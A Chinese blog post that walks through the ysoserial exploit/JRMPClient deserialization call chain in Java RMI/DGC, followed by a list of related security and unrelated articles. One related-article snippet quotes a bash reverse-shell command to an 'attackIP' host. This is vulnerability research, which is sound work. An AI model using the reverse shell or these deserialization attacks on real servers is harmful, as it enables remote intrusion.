ysoserial exploit/JRMPClient

上一篇文章讲到,当服务器反序列化payloads/JRMPListener,即会开启端口监听。再使用exploit/JRMPClient模块发送payload,服务器就会把payload进行反序列化,从而完成进行攻击。

调用链分析

设置payloads/JRMPListener参数,端口号为1299,debug模式启动payloads/JRMPListener模块。

设置exploit/JRMPClient模块设置参数为127.0.0.1 1299 CommonsCollections7 "calc"

启动exploit/JRMPClient模块后,服务端的接收到请求,会用TCPTransport的handleMessages来处理请求

往下看,第277行,把连接对象传入了StreamRemoteCall对象中。

第278行把StreamRemoteCall对象传入了serviceCall方法中

跟进this.serviceCall方法

前面获取了ObjID对象,生成Target对象等操作,直接看到101行

此时的var6是UnicastServerRef,把Target对象(此时的Target对象是DGCImpl类型)和远程连接对象传入了dispatch方法

跟进UnicastServerRef的dispatch

继续跟进this.oldDispatch

此时的this.skel是DGCImpl_Skel类型

跟进DGCImpl_Skel的dispatch

对var3的值做了一个switch判断,而在case0或者1中都会进行反序列化,从而触发漏洞调用链

解读exploit

main方法中拿到传入的参数,构造出payload,并且传入了makeDGCCall方法中

makeDGCCall方法中,objOut.writeInt写入的值就是前面的var3的值,0或1都行

最后进行了writeObject序列化,flush发送数据到服务端

其实这个payload是在构造DGC请求,然后让服务端的DGCImpl_Skel处理请求,导致的反序列化

详细可以看看这个师傅写的文章:

https://www.anquanke.com/post/id/225137#h3-3

此篇参考:

https://blog.csdn.net/whatday/article/details/106971531

ysoserial exploit/JRMPClient的更多相关文章

  1. ysoserial payloads/JRMPClient

    ysoserial payloads/JRMPClient 环境:JDK8u102 payloads/JRMPClient可以配合exploit/JRMPListener模块来使用 1.在自己服务器上 ...

  2. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  3. ysoserial源码结构分析

    1.前言 之前也花了几天晚上熟悉了一下commonscollections系列的构造,那么学习一下这个项目是如何设计的也挺重要,多学习大佬如何写代码应该也能对自己的代码能力有提升吧~2333 2.项目 ...

  4. Apache Shiro Java反序列化漏洞分析

    1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...

  5. Weblogic CVE-2018-3191远程代码命令执行漏洞复现

      0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...

  6. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

  7. 【实战】Apache shiro<=1.2.4 getshell

    方法一 利用JRMPClient 反弹shell方式 Bash: bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i & ...

  8. [WEB安全]Weblogic漏洞总结

    0x01 Weblogic简介 1.1 叙述 Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开 ...

  9. Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析

    本文首发于先知: https://xz.aliyun.com/t/6493 0x01.漏洞复现 环境配置 https://github.com/Medicean/VulApps/tree/master ...

随机推荐

  1. Netty入门(二):Channel

    前言 Netty系列索引: 1.Netty入门(一):ByteBuf 2.Netty入门(二):Channel 在Netty框架中,Channel是其中之一的核心概念,是Netty网络通信的主体,由它 ...

  2. Vulhub-DC-4靶场

    Vulhub-DC-4靶场 前言 这套靶场的亮点在于对hydra的运用比较多,在遇到大容量字典的时候,BurpSuite可能会因为设置的运行内存的限制,导致字典需要花很长时间导入进去,虽然通过修改配置 ...

  3. VMware 安装 Centos 7 虚拟机配置网络

    在 Windows 机器上如果想使用 Linux 环境,最方便的方式莫过于使用虚拟机,最常用的软件各位肯定也不陌生,大名鼎鼎的 VMware . 不过这玩意有点稍稍不是那么智能,每次安装 Linux ...

  4. Manage sshd Service on CentOS

    Check the current sshd status: service sshd status Start sshd service: service sshd start Set sshd a ...

  5. CMMI相关图书

    Integrating CMMI and Agile Development: Case Studies and Proven Techniques for Faster Performance Im ...

  6. CAS 5.3服务器搭建

    一.本例环境说明 JDK 1.8 CAS 5.3 apache-maven-3.6.0 二.CAS安装步骤 2.1 提前安装好JDK和Maven环境 安装步骤略 2.2 CAS环境搭建 2.2.1 C ...

  7. 基于Python的决策树分类器与剪枝

    作者|Angel Das 编译|VK 来源|Towards Data Science 介绍 决策树分类器是一种有监督的学习模型,在我们关心可解释性时非常有用. 决策树通过基于每个层次的多个问题做出决策 ...

  8. Docker开启TLS和CA认证

    前言:Docker直接开启2375端口是不安全的,别人只要连上之后就可以任意操作,下面是开启Docker的TLS和CA认证方法,并使用Jenkins和Portainer连接. 一.生成证书 查看服务器 ...

  9. DataTable 读取每一行的内容

    foreach (DataRow item in dataTable.Rows) { for (int i = 0; i < dataTable.Columns.Count; i++) { Co ...

  10. snoop的基本用法

    关于Snoop的用法   snoop是开发wpf应用程序的利器.用它可以观察WPF的可视树,监听事件,更改元素属性等.   下面我介绍下snoop一些用法.   1.获取指定应用程序的UI     打 ...